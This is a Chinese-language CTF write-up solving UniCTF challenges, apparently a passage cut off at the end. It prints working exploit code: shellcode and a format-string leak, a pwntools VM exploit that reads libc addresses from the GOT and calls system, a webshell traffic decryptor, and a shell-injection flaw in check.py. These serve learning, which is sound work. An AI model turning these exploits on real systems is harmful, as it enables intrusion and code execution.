for o_idx, ori in enumerate(ORI_TABLE):
new_ori = [0] * 8
for old_pos in range(8):
new_pos = pos_perm[old_pos]
new_ori[new_pos] = (ori[old_pos] + delta[old_pos]) % 3
t[o_idx] = ori_index(new_ori)
move.append(t)
return move


PERM_MOVE = build_perm_move()
ORI_MOVE = build_ori_move()


def build_perm_dist():
dist = [-1] * len(PERM_TABLE)
start = 0
dist[start] = 0
q = deque([start])
while q:
p_idx = q.popleft()
d = dist[p_idx]
for mi in range(len(MOVE_PERMS)):
new_idx = PERM_MOVE[mi][p_idx]
if dist[new_idx] == -1:
dist[new_idx] = d + 1
q.append(new_idx)
return dist


def build_ori_dist():
dist = [-1] * len(ORI_TABLE)
start = 0
dist[start] = 0
q = deque([start])
while q:
o_idx = q.popleft()
d = dist[o_idx]
for mi in range(len(MOVE_PERMS)):
new_idx = ORI_MOVE[mi][o_idx]
if dist[new_idx] == -1:
dist[new_idx] = d + 1
q.append(new_idx)
return dist


PERM_DIST = build_perm_dist()
ORI_DIST = build_ori_dist()

ORI_COUNT = len(ORI_TABLE)
STATE_COUNT = len(PERM_TABLE) * ORI_COUNT
BACK_DEPTH = 6


def build_back_table(max_depth):
table = bytearray([255]) * STATE_COUNT
start = 0
table[start] = 254
q = deque([start])
depth = 0
while q and depth < max_depth:
level_size = len(q)
for _ in range(level_size):
state = q.popleft()
p = state // ORI_COUNT
o = state - p * ORI_COUNT
for mi in range(len(MOVE_PERMS)):
np = PERM_MOVE[mi][p]
no = ORI_MOVE[mi][o]
ns = np * ORI_COUNT + no
if table[ns] == 255:
table[ns] = INV_MOVE[mi]
q.append(ns)
depth += 1
return table


BACK_TABLE = build_back_table(BACK_DEPTH)


def solve_state_ida(digits):
perm, ori = digits_to_corners(digits)
p_idx = PERM_INDEX[tuple(perm)]
o_idx = ori_index(ori)
path = []
ori_count = len(ORI_TABLE)

def heuristic(p, o):
return max(PERM_DIST[p], ORI_DIST[o])

bound = heuristic(p_idx, o_idx)

def dfs(p, o, depth, bound, last_face):
h = heuristic(p, o)
f = depth + h
if f > bound:
return f
if h == 0:
return "FOUND"
key = p * ori_count + o
prev = seen.get(key)
if prev is not None and prev <= depth:
return 1 << 30
seen[key] = depth
min_next = 1 << 30
for mi, face in enumerate(MOVE_FACES):
if last_face is not None and face == last_face:
continue
np = PERM_MOVE[mi][p]
no = ORI_MOVE[mi][o]
path.append(mi)
res = dfs(np, no, depth + 1, bound, face)
if res == "FOUND":
return "FOUND"
if res < min_next:
min_next = res
path.pop()
return min_next

while True:
seen = {}
res = dfs(p_idx, o_idx, 0, bound, None)
if res == "FOUND":
return path[:]
bound = res


def solve_state(digits):
perm, ori = digits_to_corners(digits)
p_idx = PERM_INDEX[tuple(perm)]
o_idx = ori_index(ori)
path = []
front_depth = 11 - BACK_DEPTH

def dfs_front(p, o, depth, max_depth, last_face):
state = p * ORI_COUNT + o
if BACK_TABLE[state] != 255:
return state
if depth == max_depth:
return None
for mi, face in enumerate(MOVE_FACES):
if last_face is not None and face == last_face:
continue
np = PERM_MOVE[mi][p]
no = ORI_MOVE[mi][o]
path.append(mi)
res = dfs_front(np, no, depth + 1, max_depth, face)
if res is not None:
return res
path.pop()
return None

meet = dfs_front(p_idx, o_idx, 0, front_depth, None)
if meet is None:
return solve_state_ida(digits)

tail = []
state = meet
while state != 0:
move = BACK_TABLE[state]
if move == 255:
return solve_state_ida(digits)
tail.append(move)
p = state // ORI_COUNT
o = state - p * ORI_COUNT
state = PERM_MOVE[move][p] * ORI_COUNT + ORI_MOVE[move][o]

return path + tail


# --- Candidate generation for hidden face ---

def generate_candidates(digits, hidden_idxs):
# Count missing colors
missing = [4] * 6
for d in digits:
if d is not None:
missing[d] -= 1

# Allowed colors per hidden position (corner constraint)
allowed = []
for hi in hidden_idxs:
o1, o2 = OTHER_MAP[hi]
c1 = digits[o1]
c2 = digits[o2]
opts = [d for d in range(6) if tuple(sorted((d, c1, c2))) in CORNER_SETS]
allowed.append(opts)

# Order by fewest options to prune
order = sorted(range(len(hidden_idxs)), key=lambda i: len(allowed[i]))
hidden_idxs = [hidden_idxs[i] for i in order]
allowed = [allowed[i] for i in order]

def backtrack(i):
if i == len(hidden_idxs):
if is_valid_state(digits):
yield digits[:]
return
pos = hidden_idxs[i]
for d in allowed[i]:
if missing[d] > 0:
missing[d] -= 1
digits[pos] = d
yield from backtrack(i + 1)
digits[pos] = None
missing[d] += 1

yield from backtrack(0)


# --- Network parsing ---

def parse_row(line):
# Extract the two face letters in the row
letters = [ch for ch in line if ch in FACES]
return letters[:2]


def main():
sock = socket.create_connection((HOST, PORT))
f = sock.makefile("r", newline="")

faces_data = {}

while True:
line = f.readline()
if not line:
break
line = line.rstrip("\n")

if line.startswith("=== Round"):
faces_data = {}
continue

if line.startswith("Face "):
# Face X:
face = line.split()[1][0]
f.readline() # +-----+
row0 = parse_row(f.readline())
row1 = parse_row(f.readline())
f.readline() # +-----+
faces_data[face] = [row0, row1]
continue

if line.startswith("[?] Enter your solution"):
# Build digits with hidden face
digits = [None] * 24
for face, rows in faces_data.items():
for r in range(2):
for c in range(2):
digits[idx(face, r, c)] = COLOR_MAP[rows[r][c]]

hidden_face = (set(FACES) - set(faces_data.keys())).pop()
hidden_idxs = [idx(hidden_face, r, c) for r in range(2) for c in range(2)]

solution = None
for cand in generate_candidates(digits, hidden_idxs):
sol = solve_state(cand)
if sol is not None and len(sol) <= 11 and apply_moves_digits(cand, sol) == SOL_DIGITS:
solution = sol
break

if solution is None:
solution = [0, INV_MOVE[0]]
elif len(solution) == 0:
solution = [0, INV_MOVE[0]]

answer = " ".join(MOVE_NAMES[i] for i in solution)
sock.sendall((answer + "\n").encode())
continue

# Print flag or other output lines
if line.strip():
print(line)


if __name__ == "__main__":
main()

unictf56.png

1
UniCTF{G0dZzzz_NuM63r_1s_3lEv3N_But_uR_C0d3_i5_D1v1n3_GG1867526509325979648}

BlueBreath

strings 先扫一遍 pcapng,能看到大量 Web 扫描痕迹,比如:

  • GET /flags
  • GET /maintenance.flag / .bak / flag2
  • GET /.git/configGET /WEB-INF/web.xml 等等

说明攻击者在对一个 Web 服务做字典/路径扫描。

进一步解析包内容后可以确认主要通信是:

  • 客户端:192.168.80.129
  • 服务端:172.30.96.1:8000
  • 协议:HTTP(Apache + PHP)
  • 页面内容是一个“企业员工自助服务系统 - 头像更新”之类的中文页面(响应 gzip 压缩)

这为后续“上传点 / WebShell”埋伏笔。

在 PCAP 里存在多次:

  • POST /uploads/shell.php

且请求头是:

  • Content-Type: application/octet-stream
  • Body 是二进制(非表单、非 JSON)
  • 服务端返回同样是二进制,并且响应体开头常见形态类似:
  • { 开头,紧跟一些不可打印字符
  • 中间出现 ASCII 子串 ef5ff0
  • 这是非常典型的“WebShell 管理器加密通道”的味道(冰蝎/哥斯拉/蚁剑家族里都很常见)。

我实际抓到的特征(举例):

  • 响应体前 9 字节基本固定:7b e8 3b 65 66 35 66 66 30 ...
  • 对应 Latin1 展示就是:{è;ef5ff0...

因此 WP 的核心就是:
/uploads/shell.php 的请求/响应体完整取出 → 用对应管理器算法解密 → 明文里找 UniCTF{...}

  1. 打开 BlueBreath.pcapng
  2. 过滤 HTTP:
  • tcp.port == 8000
  • http
  1. 直接定位 WebShell:
  • http.request.uri contains "shell.php"
  • 右键任意一个 POST /uploads/shell.phpFollow → TCP Stream
    你会发现内容不是正常表单,而是大块二进制。
  1. 导出二进制 body(两种方式):
  • Wireshark 里 Follow TCP Stream 选择 “Raw”,保存
  • 或者用下面的 Python 脚本自动提取(推荐,写 WP 更硬核)

4.1 环境依赖

脚本用到 scapy 读取 pcapng:

1
python -m pip install scapy==2.5.0 pycryptodome

4.2 一键提取 /uploads/shell.php 的所有请求/响应体,并对常见算法尝试解密

你需要把 PCAP_PATH 改成你的文件路径(题目里就是 BlueBreath.pcapng)。
另外,CAND_PASSWORDS 里你可以放:题目 hint、常见口令、你从源码/页面/上传点推出来的 password。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
import struct, re, gzip, math, hashlib
from collections import defaultdict, Counter

from scapy.utils import PcapNgReader
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


PCAP_PATH = "BlueBreath.pcapng"

SERVER_IP = "172.30.96.1"
SERVER_PORT = 8000

TARGET_URI = b"/uploads/shell.php"

# 你需要补全/扩充候选口令
CAND_PASSWORDS = [
"ef5ff0", # 流量里出现的关键串(很可能就是口令/或其派生线索)
"rebeyond", "behinder",
"godzilla", "antsword",
"pass", "admin", "password", "123456",
"shell", "ctf", "flag",
]


def decode_frame(frame: bytes):
"""最小解析 Ethernet + IPv4 + TCP,提取 src/dst/seq/payload。"""
if len(frame) < 14:
return None
eth_type = struct.unpack("!H", frame[12:14])[0]
if eth_type != 0x0800:
return None

ip = frame[14:]
if len(ip) < 20:
return None
ver = ip[0] >> 4
ihl = (ip[0] & 0x0F) * 4
if ver != 4 or len(ip) < ihl:
return None

total_len = struct.unpack("!H", ip[2:4])[0]
proto = ip[9]
if proto != 6:
return None

src_ip = ".".join(map(str, ip[12:16]))
dst_ip = ".".join(map(str, ip[16:20]))

tcp = ip[ihl:total_len]
if len(tcp) < 20:
return None

src_port, dst_port = struct.unpack("!HH", tcp[0:4])
seq = struct.unpack("!I", tcp[4:8])[0]
data_offset = (tcp[12] >> 4) * 4
payload = tcp[data_offset:]

return {
"src": (src_ip, src_port),
"dst": (dst_ip, dst_port),
"seq": seq,
"payload": payload,
}


def parse_http_messages(stream: bytes):
"""
从单向 TCP payload 拼接后的字节流里,按 Content-Length 切分多个 HTTP 消息。
适用于本题这种明文 HTTP header + 二进制 body 的情况。
"""
msgs = []
pos = 0
while True:
hdr_end = stream.find(b"\r\n\r\n", pos)
if hdr_end == -1:
break
header_bytes = stream[pos:hdr_end]
header_text = header_bytes.decode(errors="replace")
lines = header_text.split("\r\n")
start_line = lines[0]

headers = {}
for ln in lines[1:]:
if ":" in ln:
k, v = ln.split(":", 1)
headers[k.strip().lower()] = v.strip()

pos = hdr_end + 4

body = b""
if "content-length" in headers:
cl = int(headers["content-length"])
body = stream[pos:pos + cl]
pos += cl
msgs.append((start_line, headers, body))
return msgs


def concat_by_capture_order(chunks):
"""按抓包顺序拼接 payload(对 HTTP 够用)。"""
chunks = sorted(chunks, key=lambda x: x[2]) # (seq,payload,idx)
out = bytearray()
for _, payload, _ in chunks:
out.extend(payload)
return bytes(out)


def extract_shell_sessions():
"""
把所有命中 /uploads/shell.php 的连接抓出来:
返回每条连接的 (client_ip, client_port) -> (req_msgs, resp_msgs)
"""
# 按 4 元组聚合单向 payload:client->server 与 server->client
c2s = defaultdict(list) # key=(client_ip,client_port) -> [(seq,payload,idx)]
s2c = defaultdict(list)

with PcapNgReader(PCAP_PATH) as r:
for idx, p in enumerate(r):
fr = bytes(p)
d = decode_frame(fr)
if not d or not d["payload"]:
continue

(sip, sport) = d["src"]
(dip, dport) = d["dst"]

# 只关心 server_port=8000 的 TCP 流
if not ((sport == SERVER_PORT and sip == SERVER_IP) or (dport == SERVER_PORT and dip == SERVER_IP)):
continue

# 粗筛:payload 内出现目标 URI(通常在请求行里)
if TARGET_URI not in d["payload"] and b"HTTP/1.1 200" not in d["payload"] and b"POST " not in d["payload"]:
# 注意:这里不做太严的过滤,避免漏掉分片
pass

if dip == SERVER_IP and dport == SERVER_PORT:
# client -> server
c2s[(sip, sport)].append((d["seq"], d["payload"], idx))
elif sip == SERVER_IP and sport == SERVER_PORT:
# server -> client
s2c[(dip, dport)].append((d["seq"], d["payload"], idx))

sessions = {}
for k in c2s.keys() | s2c.keys():
req_stream = concat_by_capture_order(c2s.get(k, []))
resp_stream = concat_by_capture_order(s2c.get(k, []))

req_msgs = parse_http_messages(req_stream)
resp_msgs = parse_http_messages(resp_stream)

# 只保留确实访问 /uploads/shell.php 的连接
if any(m[0].startswith("POST /uploads/shell.php") for m in req_msgs):
sessions[k] = (req_msgs, resp_msgs)
return sessions


def looks_like_text(b: bytes):
if not b:
return False
printable = sum((32 <= x < 127) or x in b"\r\n\t" for x in b)
return printable / len(b) > 0.75


def try_decrypt_common(payload: bytes, password: str):
"""
常见 WebShell 管理器流量的“探测式解密”:
- AES-ECB / AES-CBC(IV=0) + key 派生:
* key = password.ljust(16)[:16]
* key = md5(password).digest()[:16]
你可以按你判断的壳类型继续扩展派生方式/模式。
"""
outs = []

# 候选 key
key1 = password.encode(errors="ignore").ljust(16, b"\x00")[:16]
key2 = hashlib.md5(password.encode(errors="ignore")).digest()[:16]

# 有些壳会在 body 前面塞固定魔数/前缀,尝试多个 strip
for strip in range(0, 33):
data = payload[strip:]
# ECB/CBC 都要求 16 字节对齐(如果不是,对齐不了就跳过)
if len(data) < 16:
continue

for key in (key1, key2):
# ECB
if len(data) % 16 == 0:
try:
pt = AES.new(key, AES.MODE_ECB).decrypt(data)
outs.append(("AES-ECB", strip, key, pt))
except:
pass
try:
pt = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).decrypt(data)
outs.append(("AES-CBC0", strip, key, pt))
except:
pass

# 如果不是 16 对齐,很多壳用的是 CTR/RC4/XOR,这里先不强行试
return outs


def main():
sessions = extract_shell_sessions()
print(f"[+] 找到疑似 WebShell 连接数: {len(sessions)}")

for (cip, cport), (reqs, resps) in sessions.items():
print(f"\n=== Session {cip}:{cport} -> {SERVER_IP}:{SERVER_PORT} ===")
print(f"Requests: {len(reqs)}, Responses: {len(resps)}")

# 打印每条请求/响应 body 的前缀特征
for i, (start, headers, body) in enumerate(reqs):
if start.startswith("POST /uploads/shell.php"):
print(f" [REQ {i}] {start} body_len={len(body)} body_prefix={body[:12].hex()}")

for i, (start, headers, body) in enumerate(resps):
print(f" [RSP {i}] {start} body_len={len(body)} body_prefix={body[:12].hex()}")

# 对响应体做“候选口令 + 常见算法”探测解密
for ri, (start, headers, body) in enumerate(resps):
if not body:
continue
for pw in CAND_PASSWORDS:
candidates = try_decrypt_common(body, pw)
for mode, strip, key, pt in candidates:
low = pt.lower()
if b"unictf{" in low or b"flag" in low or looks_like_text(pt[:200]):
print(f"\n[!!!] 可能解密成功: pw={pw} mode={mode} strip={strip} key={key.hex()}")
# 尝试去 padding(如果是 PKCS#7)
for attempt in [pt,]:
try:
up = unpad(attempt, 16)
attempt = up
except:
pass
# 输出部分明文
print(attempt[:500])
print("---- END ----")


if __name__ == "__main__":
main()

运行可以得到flag为:

1
UniCTF{w1reSha3k_easy_or_hard}

截取的线索

先打开第一个7的文件可以知道这个内容是一个进行加密的东西

unictf57.png

再根据题目可以知道这个每个文件是可以解密得到一部分的flag,所以可以先猜到RinDSA|和UniCTF{很像所以可以先xor,根据文件名7所以xor7

unictf58.png

得到第一部分的flag,接着把 96×1 的黑白像素条按位读出来了:

  • 黑(0) / 白(255) 只有两种值 → 当成二进制
  • 白=1、黑=0,每 8 个像素拼 1 个字节(从左到右、MSB 优先)
  • 解出来的 ASCII 是:
1
_Great_to01}

所以综合起来flag为

1
UniCTF{P1ckle_the_Great_to01}

im

先对题目附件进行分析:

  • __main__.py:题目交互脚本。
  • challenge.pkl.zst:被压缩序列化的 Tracr/JAX 模型。
  • aliyunctf-2024-challenges-public-main/:开源题库源码。

题目提示:“Read the hidden logic inside the code and correctly reproduce its intention.”,观察题名 im,一个“反向思维”的提示:反过来是 mi,而开源仓库里正好有 mi 目录。

关键文件:

  • aliyunctf-2024-challenges-public-main/mi/mi/__main__.py
  • aliyunctf-2024-challenges-public-main/mi/tools/gen.py

这两个文件与题目 __main__.py 基本一致,gen.py 里有生成模型的逻辑,直接暴露了模型真正做了什么。

gen.py 里定义了一个 Light Up (Akari) 灯泡谜题的检查器 Checker

  • 棋盘是 11x11;_ 表示空白格,# 和数字表示黑格/约束。
  • 解是一个长度为 121 的 0/1 序列(对应每个格子是否放灯泡)。
  • 规则检查:
    1. 黑格和带数字的格子不能放灯泡。
    2. 带数字的黑格四邻灯泡数量必须等于数字。
    3. 同一行/列中,灯泡之间不能互相照到(两灯之间没有黑格则冲突)。
    4. 每个白格必须被至少一个灯泡照亮。

如果全部条件满足,模型输出:

1
Congratulations! The flag is aliyunctf{hashlib.sha256(your_input).hexdigest()}.

否则输出一堆嘲讽文本。

关键点:模型的“意图”就是验证一串 0/1 是否为该 Light Up 题的正确解。在 gen.py 里,作者把正确解硬编码成 REFERENCE_ANSWER

1
0010001000100000001000100001001000010000000001001010000001001001000000101000100000000100000101000001000000000000100000010

长度 121,对应 11x11 格子,按行展开。用 Checker 复现验证都能确认它满足所有约束。题目说明:正确解作为输入后,输出中 flag 为:

1
UniCTF{sha256(输入0/1串)}

对上述 121 位解做 SHA-256:

1
e298321ac9421d91d6e357d665ac853dd6e80f3fc9953879db9b6da830bc8ff8

所以最终 flag:

1
unictf{e298321ac9421d91d6e357d665ac853dd6e80f3fc9953879db9b6da830bc8ff8}

Pwn

什么?我不是汇编高手吗?

先用ida打开文件先分析mian1函数

unictf59.png

  1. mmap 申请 0x1000 字节的 RW 内存。
  2. printf(“%p\n”, buf) 打印地址。
  3. 从 stdin 读取字节:每 4 字节写入 buf+1..buf+4,然后把 buf 的第 1 字节强制改成 0xE9,buf += 5。
  4. mprotect(buf, 0x1000, PROT_READ|PROT_EXEC)。
  5. call buf 执行这段内存。

可以知道每 5 字节固定插入0xE9,把我们的输入变成:

1
[E9][b0][b1][b2][b3][E9][b4][b5][b6][b7]..
  • 0xE9 是 jmp rel32,会把后 4 字节当成偏移;因此不能直接塞正常 shellcode。

  • 输入遇到 \n 就停止,payload 不能含 0x0a。

核心技巧:把固定 0xE9 变成“立即数”而不是“指令”。

1、让第一个E9真的执行为jmp,跳过自己对应的 4 字节,直接跳到buf+6,jmp rel32 的偏移是“从下一条指令地址开始算”,所以设为 +1 即可。这要求我们给首 4 字节输入 01 00 00 00。

2、从buf+6开始顺序执行,让每个块变成:

1
[b1 b2 b3] [0x3C 0xE9] [b4 b5 b6] [0x3C 0xE9] ... 
  • 我们把每块第 4 字节固定写成 0x3C,和固定的 0xE9 组合成 cmp al, 0xE9。
  • cmp al, 0xE9 不影响控制流,相当于 2 字节“填充”。
  • 这样每块稳定提供 3 字节可控指令。

getshell 地址:0x4011f6,构造 RAX=0x4011f6,再 push rax; ret。3 字节指令序列(每条后面再自动跟上 cmp al, 0xE9):

1
2
3
4
5
6
7
8
9
xor eax, eax
mov al, 0xF6
mov ah, 0x11
xor edx, edx
mov dl, 0x40
shl edx, 16
or eax, edx
push rax
ret
  • edx = 0x40 << 16 = 0x400000
  • eax = 0x11f6
  • eax |= edx => 0x4011f6
  • 32 位寄存器写入会零扩展到 64 位,rax 正确。

最终 payload(十六进制)

1
2
3
4
5
6
7
8
9
01 00 00 00
31 c0 90 3c
b0 f6 90 3c
b4 11 90 3c
31 d2 90 3c
b2 40 90 3c
c1 e2 10 3c
09 d0 90 3c
50 c3 90 3c

拼成一串:

1
0100000031c0903cb0f6903cb411903c31d2903cb240903cc1e2103c09d0903c50c3903c 
  • 没有 0x0a,不会被提前截断。
  • 首块的 E9 实现跳转,后续每块提供 3 字节有效指令。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket

HOST = "nc1.ctfplus.cn"
PORT = 40049

segments = [
bytes([0x31, 0xC0, 0x90]), # xor eax,eax; nop
bytes([0xB0, 0xF6, 0x90]), # mov al,0xf6; nop
bytes([0xB4, 0x11, 0x90]), # mov ah,0x11; nop
bytes([0x31, 0xD2, 0x90]), # xor edx,edx; nop
bytes([0xB2, 0x40, 0x90]), # mov dl,0x40; nop
bytes([0xC1, 0xE2, 0x10]), # shl edx,16
bytes([0x09, 0xD0, 0x90]), # or eax,edx; nop
bytes([0x50, 0xC3, 0x90]), # push rax; ret; nop
]

payload = bytearray()
# 初始 E9: 从 buf 跳到 buf+6
payload += bytes([0x01, 0x00, 0x00, 0x00])
for seg in segments:
payload += seg + bytes([0x3C]) # cmp al,0xE9 (E9来自固定字节)

with socket.create_connection((HOST, PORT)) as s:
banner = b""
while not banner.endswith(b"\n"):
ch = s.recv(1)
if not ch:
break
banner += ch
if banner:
print(banner.decode(errors="ignore").strip())

s.sendall(payload + b"\n")

out = b""
while True:
data = s.recv(4096)
if not data:
break
out += data
if out:
print(out.decode(errors="ignore"), end="")

speak

先checksec查看一下保护

unictf60.png

可以知道启用了 PIE、Canary、NX、Full RELRO,同时还开启了 IBT/SHSTK。用ida打开看看

unictf61.png

可以知道程序流程为:

  1. 读取名字到栈上 name,再 strcpy 到全局 welcomeprintf(welcome)
  2. 输出提示后读取 buf,再 printf(buf)

两处 printf 都是格式化字符串漏洞

  • 欢迎语阶段strcpy(welcome, name) 导致可控的格式化字符串 printf(welcome)
  • speak 阶段printf(buf) 直接格式化字符串。

所以可以利用第二个格式化字符串漏洞直接读取环境变量中的 FLAG。

原因:

  • 栈上能读到多个指针(%p),其中部分指向环境变量区。
  • 通过 %<idx>$s 可直接把环境变量字符串打印出来。
  1. 连接题目,正常输入 name。
  2. 在 speak 阶段用 "%p" 扫描栈,定位指向环境变量的索引。
  3. %<idx>$.200s 打印环境变量,找到 FLAG=...
1
%92$.200s

可直接打印:

unictf62.png

1
UniCTF{f232d824-06c2-472e-a0b6-9a3f8bf6274d}

Micro?Macro!

先查看保护

unictf63.png

接着使用ida打开该文件

unictf64.png

接着根据反汇编与符号定位可以找到下面这些内容:

  • values 基址:0x50c0
  • input_buffer 地址:0x58e0
  • puts@GOT 地址:0x4f88
  • printf@GOT 地址:0x4f98

因此:

  • puts@GOT - values = -0x138
  • printf@GOT - values = -0x128
  • input_buffer - values = 0x58e0 - 0x50c0 = 0x820

本题提供 libc.so.6,可直接取偏移:

  • puts0x8e640
  • system0x5c4c0
  • system - puts = -0x32180

通过反汇编可确定 8 个 handler:

  • op_handler_0:设置值(type=0,value=立即数)
  • op_handler_1:加法
    • 如果参与的是指针 + 数值,则结果为指针(type=1)
  • op_handler_3:内存读(当参数为 type=1 指针时)
  • op_handler_4:内存写(当目标为 type=1 指针时)
  • op_handler_5:函数调用(type=2 函数指针)
  • op_handler_6:打印(用于调试)

所以可以通过指针槽 + 加法 → 计算任意地址,再读/写该地址。步骤如下:

  1. 泄露 libc

    • rand_slot 是 VM 初始化的指针槽(指向 values 基址)。
    • 计算 rand_slot + (-0x138) 得到 puts@GOT 指针。
    • 读取 GOT 值得到 puts 实际地址。
    • 利用 system - puts 的固定差值计算 system 地址。
  2. 写入命令字符串

    • 将命令(默认 cat /home/ctf/flag)写到 input_buffer
    • 通过 VM 的内存写指令完成。
  3. 构造函数槽并调用

    • 把一个 values 槽设置为 type=2,并填入 system 地址。
    • 调用该槽,参数指向 input_buffer

由于服务端 run 后退出,泄露和调用需要在 一次 run 中完成。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3
import os
import re
from pwn import context, process, remote

OP_MOV = 58 # op_handler_0
OP_ADD = 126 # op_handler_1
OP_SEL = 145 # op_handler_2 (unused)
OP_LOAD = 82 # op_handler_3
OP_STORE = 196 # op_handler_4
OP_CALL = 27 # op_handler_5
OP_PRINT = 104 # op_handler_6
OP_EXIT = 175 # op_handler_7 (unused)

OFF_VALUES = 0x50c0
OFF_GOT_PUTS = 0x4f88
OFF_GOT_PRINTF = 0x4f98
OFF_GOT_FROM_VALUES = OFF_GOT_PUTS - OFF_VALUES # -0x138
OFF_GOT_PRINTF_FROM_VALUES = OFF_GOT_PRINTF - OFF_VALUES # -0x128

LIBC_PUTS = 0x8e640
LIBC_SYSTEM = 0x5c4c0
LIBC_DELTA_SYSTEM = LIBC_SYSTEM - LIBC_PUTS
INPUT_BUF_OFF = 0x58e0 - OFF_VALUES # input_buffer in .bss

FUNC_SLOT = 12
OFF_FUNC_TYPE = FUNC_SLOT * 0x10
OFF_FUNC_PTR = OFF_FUNC_TYPE + 8

PROMPT = b"> "


def send_line(p, line):
p.sendline(line)


def recv_until_prompt(p):
return p.recvuntil(PROMPT)


def do_cmd(p, line):
send_line(p, line)
return recv_until_prompt(p)


def add_inst(p, opcode, *args):
line = "inst " + str(opcode)
if args:
line += " " + " ".join(str(a) for a in args)
do_cmd(p, line.encode())


def parse_rand_slot(output):
m = re.search(rb"rand_slot = (\d+)", output)
if not m:
raise RuntimeError("rand_slot not found in output")
return int(m.group(1))


def parse_hex_value(output, slot):
pat = rb"values\[" + str(slot).encode() + rb"\] = (0x[0-9a-fA-F]+)"
m = re.search(pat, output)
if not m:
raise RuntimeError("leak for slot %d not found" % slot)
return int(m.group(1), 16)


def main():
context.log_level = os.environ.get("LOG", "error")
context.arch = "amd64"

host = os.environ.get("HOST", "nc1.ctfplus.cn")
port = int(os.environ.get("PORT", "41534"))
use_remote = os.environ.get("REMOTE", "0") == "1"
debug_leak = os.environ.get("DEBUG_LEAK", "0") == "1"
call_puts = os.environ.get("CALL_PUTS", "0") == "1"
cmd = os.environ.get("CMD", "cat /home/ctf/flag")

if use_remote:
p = remote(host, port)
else:
p = process("./vuln")

# sync to first prompt
recv_until_prompt(p)

# get rand_slot index
dbg_out = do_cmd(p, b"dbg")
rand_slot = parse_rand_slot(dbg_out)

# stage 1+2 in a single run: leak puts, compute system, write command, call system
add_inst(p, OP_MOV, 0, OFF_GOT_FROM_VALUES)
add_inst(p, OP_ADD, 1, rand_slot, 0)
add_inst(p, OP_LOAD, 2, 1) # puts@GOT
add_inst(p, OP_MOV, 3, LIBC_DELTA_SYSTEM)
add_inst(p, OP_ADD, 4, 2, 3) # system = puts + delta
if debug_leak:
add_inst(p, OP_PRINT, 2)
add_inst(p, OP_PRINT, 4)
add_inst(p, OP_MOV, 17, OFF_GOT_PRINTF_FROM_VALUES)
add_inst(p, OP_ADD, 18, rand_slot, 17)
add_inst(p, OP_LOAD, 19, 18)
add_inst(p, OP_PRINT, 19)

# write command string into input_buffer
cmd_bytes = (cmd + "\x00").encode()
chunks = [cmd_bytes[i:i + 8].ljust(8, b"\x00") for i in range(0, len(cmd_bytes), 8)]
add_inst(p, OP_MOV, 5, INPUT_BUF_OFF)
add_inst(p, OP_ADD, 6, rand_slot, 5) # ptr to input_buffer
for i, chunk in enumerate(chunks):
val = int.from_bytes(chunk, "little")
if i == 0:
add_inst(p, OP_MOV, 7, val)
add_inst(p, OP_STORE, 6, 7)
else:
add_inst(p, OP_MOV, 8, i * 8)
add_inst(p, OP_ADD, 9, 6, 8) # ptr + offset
add_inst(p, OP_MOV, 7, val)
add_inst(p, OP_STORE, 9, 7)

# build function slot and call system
add_inst(p, OP_MOV, 11, OFF_FUNC_TYPE)
add_inst(p, OP_ADD, 13, rand_slot, 11)
add_inst(p, OP_MOV, 14, 2)
add_inst(p, OP_STORE, 13, 14)

add_inst(p, OP_MOV, 15, OFF_FUNC_PTR)
add_inst(p, OP_ADD, 16, rand_slot, 15)
add_inst(p, OP_STORE, 16, 2 if call_puts else 4)

add_inst(p, OP_CALL, FUNC_SLOT, 6)

send_line(p, b"run")
out = p.recvall(timeout=3)
m = re.search(rb"(flag\{[^}]+\}|ctfplus\{[^}]+\}|FLAG\{[^}]+\}|UniCTF\{[^}]+\})", out)
if m:
print(m.group(1).decode())
else:
print(out.decode(errors="ignore"))


if __name__ == "__main__":
main()

远程:

1
REMOTE=1 python3 solve.py

运行即可得到flag为:

1
UniCTF{H4nDrn4d3_VM&013fu5cA7ioN_M33tS_H4Ndcr4F73cl_3><pl01T1867526509325979648}

Uni_check

访问题目提供的 Web 服务 http://nc1.ctfplus.cn:21500,发现是一个文件管理系统。页面提供了两个功能:

  • /download: 下载 webapp.zip (包含网站源码)
  • /check: 运行完整性检查

下载并解压源码,主要包含两个文件:

  • Uni_check: Go 编写的 Web 服务器二进制文件
  • check.py: Python 编写的完整性检查脚本

分析 check.py,发现 IntegrityChecker 类中的 cleanup_illegal_files 方法存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def cleanup_illegal_files(self):
if not self.scan_results['illegal_file_list']:
return

logger.info("[Phase 2] Cleanup Operations")

for fname in self.scan_results['illegal_file_list']:
try:
# 漏洞点:直接拼接文件名到命令字符串中
delete_cmd = f"rm -f {self.base_dir}/{fname}"

# 使用 shell=True 执行命令
subprocess.run(
delete_cmd,
shell=True,
